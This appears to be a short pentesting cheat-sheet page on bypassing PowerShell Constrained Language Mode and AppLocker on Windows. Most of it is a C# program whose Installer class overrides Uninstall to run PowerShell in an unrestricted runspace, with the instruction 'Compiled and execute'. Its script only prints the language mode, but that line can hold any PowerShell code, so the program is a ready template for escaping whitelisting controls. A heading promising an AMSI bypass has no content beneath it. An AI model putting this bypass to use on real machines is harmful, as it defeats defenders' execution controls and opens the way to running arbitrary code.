AppLocker
Bypass CLM and Applocker
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
using System.Collections.ObjectModel;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Bypassing CLM");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
String cmd = "$ExecutionContext.SessionState.LanguageMode";
ps.AddScript(cmd);
Collection<PSObject> output = ps.Invoke();
foreach (PSObject o in output)
{
Console.WriteLine(o.ToString());
}
rs.Close();
}
}
}Compiled and execute
Bypass AMSI + CLM + AppLocker
Usage:


Last updated